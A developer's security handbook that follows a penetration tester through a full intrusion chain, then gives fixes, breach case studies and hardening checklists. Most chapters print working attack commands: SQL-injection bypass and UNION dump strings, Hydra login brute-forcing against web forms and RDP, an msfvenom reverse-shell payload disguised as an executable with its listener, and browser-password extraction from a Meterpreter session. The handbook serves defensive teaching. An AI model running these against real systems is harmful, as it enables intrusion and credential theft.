The Defender's Handbook — How Hackers Really Break In, and How Developers Stop Them
A defensive-education tour through the actual attacker playbook: recon (Nmap), hidden-page brute-forcing (Gobuster + SecLists), Hydra logins (web + RDP), SQL injection (Burp + sqlmap, login bypass + UNION SELECT exfil), hash cracking (John + Hashcat, MD5/SHA-1 vs salted Argon2), TOTP seed theft + SIM-swap + AitM proxies, reverse shells (msfvenom + Meterpreter), browser-saved-password + Mimikatz dumps, MITM/SSL-stripping/Evil-Twin/ARP-poison/DNS-hijack/DDoS. Every attack walked through with install commands and the concrete defender's fix per layer. Capstone full-chain anatomy, OWASP Top 10 mapping, 3-tier hardening checklist, first-response playbook, 30/60/90 day action plan, secure-coding patterns, and a notable-breach appendix.
The Defender's Handbook
A Developer's Security Field Guide
Last updated: June 2026 · By JB (Muke Johnbaptist) — same defensive-engineering frame I apply across Shoppleet, DGateway and every client API I ship.
How attackers really break into web apps, networks, and machines — and exactly how to stop them. Built from real attack walkthroughs and documented, published breaches. Every chapter follows an attacker through a complete intrusion — with the exact tools, how to install them, and the commands they run — then hands the page back to you with the concrete fixes that would have shut the door before it ever opened.
Defensive education only. Every technique here is shown so you can defend against it. Running these tools against systems you do not own or have explicit written permission to test is a crime in most countries. Practice only on your own lab, deliberately vulnerable training apps, or systems you are contracted in writing to assess.
Foreword — why think like an attacker?
You cannot defend a door you do not know exists. Most breaches do not come from genius zero-days — they come from ordinary, well-understood mistakes: a forgotten admin page, an unsanitized input box, a weak password, a user who clicked the wrong attachment.
This handbook walks through the standard attacker playbook the way it actually unfolds, step by step, and then translates each move into a defensive action you can implement this week. The recurring cast is simple: Sally is a developer or small-business owner who built something real and shipped it quickly. Kim is an ethical hacker — a penetration tester — who probes Sally's systems the same way a criminal would, but reports the holes instead of exploiting them.
Every chapter is built from the same parts:
- The Tools & How to Install Them — assume nothing is installed.
- The Attack — the real commands, explained line by line.
- Why It Works — the underlying concept, in plain language.
- Real-World Case Studies — documented breaches where this exact technique caused real damage.
- The Defense — specific, prioritized fixes.
The shape of nearly every intrusion
Almost every attack follows the same arc — a "kill chain":
Recon (find targets) → Scan (map open doors) → Exploit (break in) → Access (grab data/shell) → Persist (stay & expand)
Defense is layered on top: you make recon less fruitful, scanning less revealing, exploitation impossible, access useless, and persistence detectable. No single control saves you — but together they make Kim move on to an easier target. This is defense in depth.
Five myths this handbook dismantles
- "We're too small to be a target." Attacks are automated and indiscriminate. Exposed services are probed within minutes.
- "It's not linked, so nobody will find it." Obscurity is not security.
- "We hash passwords, so we're fine." Fast, unsalted hashing is barely better than plaintext once leaked.
- "We have 2FA, so accounts are safe." Its secret, its channel, and the human can each be attacked.
- "A firewall keeps attackers out." Reverse shells call outward; phishing invites the attacker in.
Before you begin — the lab, Kali Linux & ground rules
To follow these attacks hands-on — the only real way to internalize the defenses — you need a safe, isolated practice environment.
What is Kali Linux? A Debian-based distribution purpose-built for penetration testing, bundling hundreds of tools. You don't have to use it — every chapter shows how to install each tool individually — but it's the standard environment.
Build a safe lab:
- Virtual machines (recommended): VirtualBox or VMware, running Kali and a vulnerable target on an isolated host-only network.
- WSL on Windows: Kali via the Windows Subsystem for Linux for quick CLI practice.
- A throwaway cloud VPS: powerful, but be disciplined about scope. (See the VPS hardening guide if you want to lock down the box too.)
Safe, legal practice targets: OWASP Juice Shop and DVWA (web), Metasploitable (network/host), and ranges like TryHackMe and Hack The Box.
# Always update your package list first
sudo apt update && sudo apt upgrade -y
# On Kali, most tools are already present. Verify any tool:
nmap --versionThe single rule that keeps this legal: authorization, in writing, before you touch a target. No exceptions.
Throughout: $ means a normal user shell; # or sudo means administrator rights. Lines starting with # in code blocks are comments — you don't type those.
Chapter 1 — Reconnaissance & Network Scanning
Before an attacker touches your login form, they build a map. Recon splits into passive (public info — WHOIS, DNS, search engines) and active (directly probing the target, which can be detected).
The tool: Nmap, and how to install it
Nmap discovers live hosts, finds open ports, identifies services and versions, and can guess operating systems.
# On Kali, pre-installed. Verify:
nmap --version
# Debian / Ubuntu / WSL:
sudo apt update && sudo apt install nmap -y
# macOS: brew install nmap | Windows: installer from nmap.orgThe Attack — from a domain name to a live target
# Resolve the domain
ping sallystartup.com
nslookup sallystartup.com
dig +short sallystartup.com
# Service & version scan
nmap -sV 192.168.1.20
# 80/tcp open http Apache httpd 2.4.41
# -sV probes each open port to detect the service AND its exact versionThat version number tells Kim precisely which published vulnerabilities (CVEs) might apply.
Scan types worth knowing: -sS (SYN/stealth), -sT (full connect), -sU (UDP), -sV (version), -O (OS), -A (aggressive), -p- (all 65,535 ports), -sn (host discovery only). The NSE scripting engine (--script vuln) turns Nmap into a lightweight vulnerability checker.
# Host discovery sweep across a subnet
sudo nmap -sn 192.168.122.0/24 -n -oA tnet
# -sn = host discovery only | -n = skip DNS | -oA saves all output formatsWhy It Works — the ARP-vs-ICMP trap
On a local subnet, Nmap quietly uses ARP (which maps IP to hardware MAC address) instead of ICMP ping. Machines almost always answer ARP because the network can't function otherwise — even when a firewall drops every ICMP and TCP probe.
The lesson: a host that doesn't reply to ping is not necessarily offline. On the same subnet, ARP almost always answers. The moment Kim scans across a router, ARP no longer works, Nmap falls back to ICMP/TCP, and now the firewall decides whether the host looks alive. A hardened machine can look "alive" locally yet "dead" from the internet.
The Defense
- Expose the minimum. Every open port is a door. Run your own external Nmap scan to see what the world sees.
- Segment the network into VLANs to shrink the blast radius.
- Don't leak versions — suppress server version banners (
ServerTokens Prod/server_tokens off). - Patch the services that do answer.
- Monitor for scans with an IDS/IPS and firewall rate-limiting. (The Sentinel v2 migration guide wires WAF + auto-ban into Go APIs.)
- Default-deny firewall posture.
Real-world case study — reconnaissance precedes the breach. Security vendors repeatedly document that internet-facing services are scanned within minutes of coming online; in one experiment, exposed RDP machines were brute-forced within ~90 seconds. Lesson: assume everything you expose is being scanned right now, automatically. There is no "too small to notice."
Chapter 2 — Hidden Pages & Directory Brute-Forcing
"Nobody will find it" is not a security strategy. Sally built an admin panel and simply didn't link to it. Kim found it in minutes — because the absence of a link is not the absence of a page.
The tools — Gobuster & SecLists
Gobuster brute-forces directories/files from a wordlist. SecLists is a huge curated collection of wordlists (paths, usernames, passwords) harvested from real tests and breaches.
# Often preinstalled on Kali. Otherwise:
sudo apt update
sudo apt install gobuster seclists -y
ls /usr/share/seclists/Discovery/Web-Content/
# Or clone SecLists:
git clone https://github.com/danielmiessler/SecLists.gitThe Attack
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://sallystartup.com
# /admin.php (Status: 200) <-- accessible!
# dir = directory mode | -w = wordlist | -u = target URLGobuster watches the HTTP status code: 200 (exists, accessible), 301/302 (exists, redirects), 403 (exists but blocked — still confirms existence), 404 (nothing there).
Why It Works
A web server returns whatever resource it has for a path, regardless of whether anything links to it. "Security through obscurity" collapses against a tool that tries every common name faster than any human.
The Defense
- Authenticate admin areas properly — require a real server-side session, not a secret URL.
- Rate-limit and lock out to turn a 2-minute scan into an impractical one.
- Restrict sensitive endpoints by network (VPN or IP allow-list).
- Lock down dotfiles, backups & source control (
.htaccess,.git,config.bak,database.sql). - Add a WAF; disable directory listing.
Real-world case study — exposed .git directories & admin panels. Two patterns dominate reports: deployed sites accidentally serving their /.git/ folder (handing over source code and hard-coded credentials), and discoverable admin/config/backup files left in the web root. Lesson: nothing in your web root is private just because you didn't link it.
Chapter 3 — Brute-Forcing Logins with Hydra
Once Kim finds a login, he automates with Hydra, trying thousands of combinations until one works.
Background: Brute force tries every combination; dictionary attacks try a curated list of likely passwords; credential stuffing reuses pairs leaked from other breaches (betting on password reuse).
The tool — Hydra
# Preinstalled on Kali. Otherwise:
sudo apt update && sudo apt install hydra -y
# macOS: brew install hydraKey flags: lowercase -l/-p for a single username/password; uppercase -L/-P for lists.
The Attack, part 1 — a web form
hydra -L users.txt -P passwords.txt sallystartup.com \
http-post-form "/admin.php:username=^USER^&password=^PASS^:Incorrect username or password"
# [80][http-post-form] login: administrator password: iloveyou
# ^USER^/^PASS^ are filled from the lists; the trailing string is the failure messageThe Attack, part 2 — Remote Desktop (RDP)
nmap -p 3389 192.168.1.0/24 # which machines have RDP open?
hydra -t 4 -V -f -L users.txt -P rockyou-05.txt rdp://192.168.1.40
# [3389][rdp] host: 192.168.1.40 login: Sally password: 123456
# -t 4 = 4 parallel attempts | -V = show each try | -f = stop on first hitThe Attack, part 3 — username enumeration
If a login returns different messages for invalid usernames vs. wrong passwords, Kim can confirm which usernames exist before cracking passwords.
Why It Works
Three conditions: (1) unlimited attempts, (2) weak/reused passwords, (3) the app reveals valid usernames. Remove any one and it gets much harder. RDP is uniquely dangerous because it's often exposed directly to the internet with no lockout and no second factor.
The Defense
- Account lockout & rate limiting.
- Enforce strong passwords (block known-breached ones).
- Add MFA.
- Don't reveal valid usernames — one generic failure message.
- Never expose RDP/SSH directly — VPN-gate them; for SSH use keys and disable password login. (See the SSH key security guide for the full playbook.)
- Add CAPTCHA after failures; monitor auth logs (Windows RDP: Event ID 4625 for failures, 1149 for connections).
Real-world case study — RDP brute force as the #1 ransomware entry point. A large majority of cloud systems leave RDP exposed. Families including CrySiS/Dharma, SamSam (which hit a U.S. healthcare company in 2018), and CryptON have spread almost exclusively via RDP brute force. The FBI's IC3 issued public advisories naming RDP as a top vector, citing weak passwords, open port 3389, and unlimited login attempts. Lesson: never put RDP directly on the internet — VPN-gate it, require MFA, enforce lockout, monitor logons.
Real-world case study — credential stuffing at scale. Billions of leaked username/password pairs circulate on dark-web markets; automated tools replay them against unrelated sites. Lesson: enforce MFA (which defeats stuffing even with a valid password), check passwords against breach corpora, and never reuse passwords.
Chapter 4 — SQL Injection: The Front Door Left Open
SQL injection happens whenever user input is glued directly into a database query. It's decades old and still in the OWASP Top 10.
The tools — Burp Suite & sqlmap
Burp Suite is a proxy that intercepts, inspects, modifies, and replays HTTP(S) requests. sqlmap automates finding and exploiting SQLi.
# Both ship with Kali. Launch Burp: burpsuite
# Otherwise download Burp Community Edition from portswigger.net
sudo apt update && sudo apt install sqlmap -y
# or: git clone https://github.com/sqlmapproject/sqlmap.gitThe Attack, part 1 — bypassing a login
A naive backend builds a query by string concatenation:
SELECT * FROM users WHERE username = 'sally_admin' AND password = 'dummy';Kim enters a crafted username that closes the string early and comments out the rest (-- or # begins a SQL comment):
sally_admin'--
-- or the classic always-true variant:
aaa' OR 1=1--
The query becomes ... WHERE username = 'aaa' OR 1=1--' AND password = .... 1=1 is always true and the password check is commented out. Login succeeds, usually as the first user in the table — often the admin.
The Attack, part 2 — stealing the database with UNION SELECT
Appending a single quote to a search box (baker') throws a raw SQL error — confirming the input reaches the database unsanitized. A UNION SELECT attack merges a second query (from the users table) into the results. Both queries must return the same number of columns:
baker') UNION SELECT 1 FROM users-- -- 500 error
baker') UNION SELECT 1,2,3,4,5,6,7,8,9 FROM users-- -- 200 OK (9 columns match)
baker') UNION SELECT id,email,password,4,5,6,7,8,9 FROM users--
-- returns every user's id, email, and password hashOther flavors: error-based (relies on leaked errors), blind (infers from true/false behavior), time-based blind (infers from response delay, e.g. SLEEP(5)). sqlmap automates all of these.
Why It Works
The application mixed code and data together as one string. The instant user input can change the structure of a query rather than just its values, injection is possible.
The Defense
- Use parameterized queries / prepared statements — the real fix. The query structure is fixed; input is bound separately as data that can never become code.
- Use an ORM/query builder that parameterizes by default.
- Validate and sanitize input as defense in depth.
- Apply least privilege to the DB account.
- Never show raw SQL errors to users.
- Don't leak username validity; deploy a WAF; patch promptly.
The one-line takeaway: if you concatenate user input into a SQL string, you are vulnerable. If you use parameterized queries everywhere, this entire chapter's attacks stop working.
Real-world case study — the billion-record breaches. SQLi has caused some of history's largest breaches: Heartland (2008), ~130M cards, costs over $200M; TalkTalk (2015), an unpatched SQLi exposing ~157K customers; Yahoo! Voices (2012), ~450K unencrypted credentials via union-based SQLi; Equifax (2017), ~143M people. Investigators cited the same failures: input concatenated into queries, missing validation, no WAF, verbose errors, unpatched systems. Lesson: these were the exact textbook flaw in this chapter, at scale.
Real-world case study — SQLi reaches everywhere. A 2019 SQLi flaw in Fortnite could have exposed player accounts; popular WordPress/WooCommerce plugins have shipped SQLi flaws exposing millions of sites at once; attackers have hit universities to steal tens of thousands of records. Lesson: any app with a database and user input is a target. Keep dependencies patched — a flaw in a plugin is your flaw too.
Chapter 5 — Password Hashing & Cracking
Sally stored hashes, not plaintext. But the algorithm and whether you salt decide whether those hashes survive contact with an attacker.
What a hash is: a one-way function turning any input into a fixed-length string that can't be reversed. You can't reverse a hash — but you can guess and compare: hash a candidate, check if it matches. Do that billions of times per second and weak passwords fall fast.
The tools — John the Ripper & Hashcat
John is a flexible offline hash cracker; Hashcat is the fastest, GPU-accelerated.
# Both preinstalled on Kali. Verify John: john --help
sudo apt update && sudo apt install john hashcat -y
# The rockyou wordlist on Kali (decompress once):
sudo gunzip /usr/share/wordlists/rockyou.txt.gzThe Attack
# A 32-char hex string = raw MD5
echo "jane:5f4dcc3b5aa765d61d8327deb882cf99" >> hashes.txt
john --format=raw-md5 --wordlist=rockyou.txt hashes.txt
# iloveyou (jane)
# Same job in Hashcat (mode 0 = MD5, -a 0 = dictionary)
hashcat -m 0 -a 0 hashes.txt rockyou.txtA rainbow table attack goes further, using precomputed hash→password tables to reverse unsalted hashes almost instantly.
Why It Works
Two failures compound. MD5 and SHA-1 are fast — a GPU computes tens of millions to billions per second — so brute force is cheap. Without a salt, identical passwords produce identical hashes, enabling rainbow tables and meaning one cracked hash reveals everyone who shares that password.
The Defense
- Never use MD5 or SHA-1 for passwords.
- Use a slow, purpose-built algorithm: bcrypt, scrypt, or Argon2 (Argon2id is the modern first choice).
- Use a unique salt per password (modern libraries do this automatically).
- Tune the work factor as high as your servers tolerate.
- Add a pepper — a secret stored outside the database.
- Cap login attempts; combine with MFA.
Real-world case study — the LinkedIn breach (2012/2016). In 2012, ~6.5M password hashes leaked; the fatal detail was unsalted SHA-1. Because SHA-1 is extremely fast and no salt was used, attackers cracked enormous numbers quickly. In 2016, over 117M pairs surfaced; just 50 trivially-guessed passwords accounted for more than 2.2M accounts. Lesson: abandon fast unsalted hashing for a slow, salted algorithm — you need both slowness and uniqueness.
Chapter 6 — Defeating Two-Factor Authentication
2FA protects you only if its secret (and the channel it travels on) is protected. Sally's mistake wasn't using 2FA; it was storing its secret where an attacker could reach it.
How TOTP works: the common 6-digit code (Google Authenticator) is generated by TOTP (RFC 6238), combining a shared secret key (created at setup, stored on server and phone) with the current time. The algorithm and clock are public — so everything rests on the secrecy of the seed.
The Attack, part 1 — steal the seed, clone the token
Kim already has database access from his SQL injection. If a user enabled 2FA, the TOTP secret is probably in the users table:
... UNION SELECT id,email,password,totp_secret,5,6,7,8,9 FROM users--
-- jane: JBSWY3DPEHPK3PXP (base32 — the TOTP seed)He loads Jane's secret into his own authenticator app. His phone now generates the exact codes Jane's shows. Combined with the cracked password, the second factor is gone — and the login looks completely legitimate.
The Attack, part 2 — when the seed is safe: SIM swapping & AitM proxies
- SIM swapping: if codes arrive by SMS, an attacker who convinces a carrier to move the victim's number to their SIM receives every code and reset link. This is why SMS is the weakest second factor.
- Real-time phishing proxies (Adversary-in-the-Middle): tools like Evilginx sit between user and real site, capturing the password, the OTP, and the resulting session cookie — bypassing 2FA entirely.
Why It Works
TOTP's security rests entirely on the seed; SMS 2FA's on the phone network; OTP 2FA's on the user not entering the code on a fake page. Sally collapsed two factors into one by storing the seed in plaintext in the same table the SQLi could read.
The Defense
- Fix the SQL injection first — if the database can't be read, the seed can't be stolen.
- Never store TOTP secrets in plaintext — encrypt at rest or use a secrets vault.
- Isolate secrets from ordinary app data.
- Prefer app-based TOTP or push over SMS.
- Adopt phishing-resistant factors — hardware keys / passkeys (FIDO2/WebAuthn) are bound to the real site's domain, defeating both seed theft and AitM. The strongest answer.
- Detect anomalies & bind sessions (new device/location, impossible travel, token reuse → step-up verification).
Security is only as strong as the weakest layer. Sally hashed passwords and used 2FA — but a single weak point (storing secrets reachably) undid both.
Real-world case study — SIM swaps & 2FA-bypass takeovers. The FBI reported over 1,600 SIM-swap complaints in 2021 with losses exceeding $68M. In a 2019 incident, attackers reportedly bypassed an exchange's 2FA by combining long-term credential collection with look-alike (Unicode) domains to capture OTPs in real time. Lesson: 2FA dramatically reduces risk but isn't a finish line. Move high-value accounts to passkeys/FIDO2, avoid SMS, store seeds encrypted. Never type an OTP into a page you reached from an email link.
Chapter 7 — Phishing, Trojans & Reverse Shells
The most reliable path into a machine is often the person using it. This is social engineering — alongside RDP, one of the top two initial attack vectors worldwide.
The tools — Metasploit & msfvenom
Metasploit is an end-to-end attack platform; Meterpreter is its powerful in-memory remote-control payload. msfvenom crafts custom payloads and disguises them as files.
# Preinstalled on Kali. Launch: msfconsole
# Debian/Ubuntu — official installer:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && sudo ./msfinstall
msfvenom --helpThe Attack — a malicious file disguised as something harmless
A reverse shell reaches back out from the victim's machine to the attacker's — because firewalls usually allow outbound connections.
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.122.71 LPORT=4444 -f exe -o updater.exe
# -p = payload | LHOST = attacker IP | LPORT = listen port | -f exe = Windows executableDisguise tricks: double extension (picture.jpeg.exe — Windows hides known extensions by default, so the victim sees picture.jpeg), and archive wrapping (zip the exe to slip past email filters).
# Metasploit listener waiting for the callback
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.122.71
set LPORT 4444
exploit
# [*] Meterpreter session 1 opened <-- victim clicked
Then a convincing email impersonating a trusted contact or "IT support." One double-click opens the tunnel.
Why It Works
Social engineering exploits trust, habit, and urgency — not software bugs. A familiar (spoofed) sender, an urgent pretext, a hidden extension, a default OS setting — each lowers the victim's guard.
The Defense
- Show file extensions (turn off "hide known extensions").
- Never open unexpected attachments — sender names are trivially spoofed; verify out-of-band.
- Run EDR/antivirus with real-time scanning.
- Don't run as administrator day-to-day.
- Open suspicious files in a sandbox/VM.
- Filter email aggressively (block executables, inspect archives, use SPF/DKIM/DMARC).
- Egress filtering to catch the callback.
- Train people regularly — simulated phishing measurably reduces click rates.
Real-world case study — the Sony Pictures hack (2014). It began with spear phishing — emails crafted to look like Apple/Google/Facebook messages to harvest credentials and deliver malware. Several employees with broad access were duped. The attackers then spread destructive "wiper" malware, exfiltrated huge volumes of data, and damaged thousands of computers. Aggravating failures: credentials stored in plaintext files literally named "Computer Passwords," and years of unencrypted email. Lesson: a single click can lead to total compromise — layer the defenses.
Real-world case study — phishing as the gateway to bank heists. The same actor behind Sony later used spear-phishing and custom malware to fraudulently move roughly $81M out of a central bank. Lesson: treat every phishing attempt as a potential first link in a serious chain.
Chapter 8 — Stealing Saved Browser Passwords
Once an attacker has a foothold, the "save password?" prompt becomes a treasure chest.
How browsers store passwords: not in an impenetrable vault — in an encrypted file on your computer, with the decryption key tied to your OS login. That protects against another user or theft of the file alone. It does not protect against code running as you.
The Attack
# From a Meterpreter session
getuid # Server username: DESKTOP\Sally
upload extractor.exe C:\Windows\Temp\
shell
extractor.exe --chrome -o sally_data
# [+] 18 cookies and 2 passwords found
# passwords.json — URLs, usernames, and passwords in plain text
Stolen session cookies can hijack active logins without any password at all (the same trick that bypasses 2FA). On corporate Windows networks, tools like Mimikatz dump credentials and hashes from memory for lateral movement.
Why It Works
Browser stores protect against other users and file theft, not against code running as you. Once an attacker has your privileges, the encryption is a formality.
The Defense
- Use a dedicated password manager with a strong master password the OS doesn't hold.
- Be cautious with browser-saved passwords for high-value accounts.
- Prevent the foothold (Ch.7) — this attack requires the attacker already be on your machine.
- Enable MFA everywhere and shorten session lifetimes.
- Use full-disk encryption and a strong OS login.
- Rotate credentials after any suspected compromise and invalidate sessions server-side.
- On corporate networks, deploy EDR and limit admin rights to make Mimikatz harder.
The uncomfortable truth: "save password" is not a vault — it's a convenience that trades away safety the moment your machine is compromised.
Real-world case study — credential dumping in ransomware intrusions. In documented investigations, after gaining access (often via RDP brute force), attackers used Mimikatz to dump hashes, scanned for plaintext credentials, created backdoors, and moved laterally before deploying ransomware. Lesson: assume any compromised machine will be mined for every credential it holds.
Chapter 9 — Network & Wi-Fi Attacks
Shared networks are hunting grounds. Here the attacker gets between you and everything you talk to.
The tools
Wireshark captures and inspects packets; Aircrack-ng assesses Wi-Fi security.
sudo apt update
sudo apt install wireshark aircrack-ng dsniff ettercap-graphical -y
sudo apt install hping3 -y # DoS demosThe attacks
- Packet sniffing: in monitor mode, an attacker captures every packet in the room. On plain HTTP, passwords are readable; HTTPS hides contents but leaks metadata (which sites, when).
- Man-in-the-Middle (MITM) & SSL stripping: traffic flows through the attacker; SSL stripping forces your browser down to unencrypted HTTP while the attacker keeps a secure link to the real site — no warning shown.
- Evil Twin: a fake Wi-Fi cloning a trusted name with a stronger signal; your device auto-connects to the attacker.
- ARP poisoning: ARP has zero authentication; forged replies make your machine route all traffic through the attacker. (Detection tip: two IPs sharing one MAC = likely poisoning.)
- DNS hijacking: compromise the router/DNS (often via default passwords) to answer lookups with fake IPs — a perfect clone of your bank harvests your login.
- DDoS: a botnet of compromised devices (increasingly insecure IoT) floods a target to take it offline.
The Defense
For users on shared networks: use a reputable VPN; insist on HTTPS (never click through certificate warnings); turn off auto-connect; keep devices and routers patched, change default router passwords.
For developers/operators: enforce HTTPS + HSTS (defeats SSL stripping); use modern TLS; protect against ARP spoofing (dynamic ARP inspection, port security); use DNSSEC and trusted resolvers; put DDoS mitigation/CDN in front of public services; secure every IoT device (change defaults, patch firmware, disable UPnP/Telnet).
Real-world case study — the Mirai botnet & the Dyn DDoS (2016). Mirai scanned for open Telnet ports and tried ~62 common default credentials (root/root, admin/admin, root/123456). Each device it logged into — cameras, DVRs, routers — joined a botnet. On Oct 21, 2016 it launched a ~1.2 Tbps DDoS against Dyn, a major DNS provider, knocking Twitter, Netflix, Reddit and others offline across North America and Europe. Lesson: the devices weren't exotic — just gadgets left on factory passwords. Securing your IoT protects the wider internet.
Real-world case study — the Krebs and OVH attacks. Before Dyn, the same Mirai botnet hit journalist Brian Krebs's site with over 600 Gbps and then the OVH hosting company with an even larger flood; publishing the source code spawned copycats. Lesson: DDoS scrubbing/CDN is essential for any service that matters, and every insecure device is potential ammunition against someone else.
Capstone — Anatomy of a Full Attack Chain
Real breaches are chains — each step enabling the next. Against Sally's small e-commerce business (2FA and hashing, but fast unsalted hashes, secrets in the DB, RDP enabled, browser-saved passwords), an authorized tester walks the whole path:
- Recon (Ch.1): resolve domain,
nmap -sV, find web + RDP open. Break point: close RDP to the internet. - Discovery (Ch.2): Gobuster finds
/admin.php. Break point: IP-allow-list / VPN the panel. - Initial access via SQLi (Ch.4): UNION SELECT dumps the users table. Break point: parameterized queries — the single most chain-breaking fix.
- Cracking (Ch.5): unsalted MD5 falls in seconds. Break point: salted Argon2.
- Defeating 2FA (Ch.6): TOTP seeds were in the same table, plaintext. Break point: encrypt seeds / use passkeys.
- Compromising the workstation (Ch.7): disguised Trojan → Meterpreter. Break point: show extensions, EDR, no admin, don't open it.
- Harvesting credentials (Ch.8): browser passwords, cookies, Mimikatz. Break point: password manager, limited admin.
- Lateral movement & impact (Ch.3, 9): harvested creds + open RDP reach the crown jewels. Break point: segmentation, internal MFA, offline backups.
The lesson: you only have to break the chain once. The attacker needs every step to succeed; the defender needs to win any one. That asymmetry is the whole argument for defense in depth.
Real-world case study — chains in practice. Incident reports repeatedly show the same arc: exposed service or phished user → credential dumping → lateral movement → payload (ransomware/data theft). Sony began with phishing and ended in total compromise; many ransomware cases began with RDP brute force and ended with domain-wide encryption. Lesson: audit the whole path from "outside attacker" to "worst-case impact," and ensure a working defense at several links.
The Attacker's Toolbox — Reference
| Tool | Category | What it does | Install (Debian/Ubuntu) | What defends against it |
|---|---|---|---|---|
| Nmap | Recon/scanning | Finds hosts, ports, service versions | apt install nmap | Minimize ports, segment, hide banners, IDS/IPS, patch |
| Gobuster | Web discovery | Brute-forces hidden directories/files | apt install gobuster | Authenticate paths, rate-limit, allow-list, WAF |
| SecLists | Wordlists | Curated usernames/passwords/paths | apt install seclists | Ban breached/common passwords, non-guessable paths |
| Hydra | Login cracker | Online brute force (forms, RDP, SSH) | apt install hydra | Lockout, rate limit, MFA, CAPTCHA, VPN-gate RDP/SSH |
| Burp Suite | Web proxy | Intercept/modify/replay HTTP(S) | Kali / portswigger.net | Parameterized queries, validation, hide errors, WAF |
| sqlmap | SQL injection | Automates SQLi detection & dumping | apt install sqlmap | Parameterized queries, least-privilege DB, WAF |
| John the Ripper | Cracking | Offline dictionary/rule cracking | apt install john | bcrypt/scrypt/Argon2, unique salts, high cost |
| Hashcat | Cracking | GPU-accelerated cracking | apt install hashcat | Slow salted hashing, strong passwords, pepper |
| msfvenom | Payloads | Crafts & disguises payloads | With Metasploit | Don't open attachments, show extensions, EDR |
| Metasploit | Exploitation | Exploits, listeners, Meterpreter | msfinstall script | Patch CVEs, EDR, segmentation, egress filtering |
| Wireshark | Packet analysis | Captures & inspects traffic | apt install wireshark | Encrypt everything (HTTPS/TLS/VPN), HSTS |
| Aircrack-ng | Wi-Fi cracking | Captures handshakes, cracks weak keys | apt install aircrack-ng | Strong WPA2/WPA3, disable WPS, 802.1X |
| Ettercap/dsniff | MITM/ARP | ARP poisoning & interception | apt install ettercap-graphical dsniff | Dynamic ARP inspection, HTTPS+HSTS, VPN |
| xfreerdp | RDP client | Remote control once creds known | apt install freerdp2-x11 | VPN-gate RDP, MFA, lockout, restrict by IP |
| hping3 | Flooding/DoS | High-speed crafted packets | apt install hping3 | DDoS scrubbing/CDN, rate limiting, upstream filtering |
| Mimikatz | Credential dumping | Extracts Windows creds from memory | Windows post-exploitation | Limit admin, EDR, Credential Guard, segmentation |
Mapping to the OWASP Top 10
Injection → Ch.4 (parameterized queries) · Auth Failures → Ch.3, 6 (lockout, MFA) · Cryptographic Failures → Ch.5, 9 (salted hashing, TLS/HSTS) · Broken Access Control → Ch.2 (authenticate every path) · Security Misconfiguration → Ch.1, 2, 9 (minimize exposure, change defaults) · Vulnerable Components → Ch.1, 4 (patch, track dependencies) · Logging/Monitoring Failures → Ch.1, 3 (log, alert, review) · Human layer → Ch.7, 8 (training, MFA, least privilege).
The Developer's Hardening Checklist
Tier 1 — Do these first (highest impact, lowest effort)
- Parameterized queries for every database call. (Ch.4)
- Account lockout and rate limiting on all logins. (Ch.3)
- A single generic auth-failure message. (Ch.3)
- bcrypt/scrypt/Argon2 with a unique salt; migrate off MD5/SHA-1. (Ch.5)
- Turn off "hide known file extensions"; train staff on attachments. (Ch.7)
- Enforce HTTPS everywhere + HSTS. (Ch.9)
- Change all default passwords (routers, IoT, DBs, admin consoles). (Ch.9)
Tier 2 — Strong protections to add next
- MFA (prefer passkeys/FIDO2 over SMS); store TOTP secrets encrypted/in a vault. (Ch.6)
- Least privilege for DB/OS accounts; don't run as admin. (Ch.4, 7, 8)
- Never show raw error messages; log them server-side. (Ch.4)
- Authenticate every admin/sensitive endpoint. (Ch.2)
- Close unused ports; VPN-gate RDP/SSH; SSH keys only. (Ch.1, 3)
- Block known-breached/common passwords. (Ch.3, 5)
- Run EDR with real-time scanning; patch everything. (Ch.7, 8)
- Keep
.git, backups, configs out of the web root. (Ch.2)
Tier 3 — Defense in depth & operational maturity
- Deploy a WAF. (Ch.2, 4)
- Segment the network into VLANs. (Ch.1, 8)
- Egress filtering; monitor outbound connections. (Ch.7)
- Dedicated password manager; limit browser-saved passwords. (Ch.8)
- DDoS mitigation/CDN in front of public services. (Ch.9)
- Harden against ARP/DNS attacks (dynamic ARP inspection, DNSSEC). (Ch.9)
- Logging and alerting on auth failures, scans, config changes. (Ch.1, 3)
- Periodic security testing and simulated phishing. (Ch.7)
- An incident-response plan. (All)
- Tested, offline backups. (Ch.3)
If you've already been breached — a first-response checklist
Contain (first hours): isolate affected machines; revoke/rotate credentials, keys, tokens; invalidate sessions server-side; reset passwords and force MFA re-auth.
Assess (first days): preserve logs and evidence before they rotate; determine entry point and scope; check for persistence (new accounts, scheduled tasks, backdoors); identify regulatory/notification obligations.
Recover & harden (following weeks): rebuild from known-good backups; patch the root cause before reconnecting; notify affected parties where required; work the Tier-1 → Tier-3 checklist; write a short post-mortem.
The most important mindset: a breach is not a moral failing — it's a systems problem with systems solutions. Move methodically, fix the root cause, and let the incident drive durable improvements.
A 30 / 60 / 90-Day Action Plan
First 30 days — close the easy doors: parameterize SQL; add lockout + rate limiting + generic errors; change default passwords; enforce HTTPS+HSTS; take RDP/SSH off the internet; show file extensions.
Days 30–60 — strengthen identity & data: migrate to salted Argon2/bcrypt and block breached passwords; roll out MFA and vault TOTP seeds; apply least privilege; move secrets out of source/DB; relocate .git/backups/configs; deploy EDR and automatic patching.
Days 60–90 — depth, detection & drills: add WAF + DDoS scrubbing/CDN; segment into VLANs + egress filtering; turn on logging/alerting and review weekly; run a self-pentest and fix findings; set up offline backups and an IR plan; run a simulated phishing exercise and team training.
At the end of 90 days you'll have a credible defense at every link of the attack chain. Then repeat the cycle: security is a practice, not a project.
Secure Coding Patterns — Before & After
1. SQL injection → parameterized queries
# Vulnerable
query = "SELECT * FROM users WHERE name = '" + name + "'"
cursor.execute(query)
# Fixed — the ? placeholder can never become SQL code
cursor.execute("SELECT * FROM users WHERE name = ?", (name,))
# PHP (PDO): $stmt = $pdo->prepare("... WHERE name = ?"); $stmt->execute([$name]);
# Node (pg): client.query("... WHERE name = $1", [name])2. Fast/unsalted hashing → slow salted hashing
# Vulnerable: hash = md5(password)
# Fixed:
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
bcrypt.checkpw(attempt.encode(), hashed)
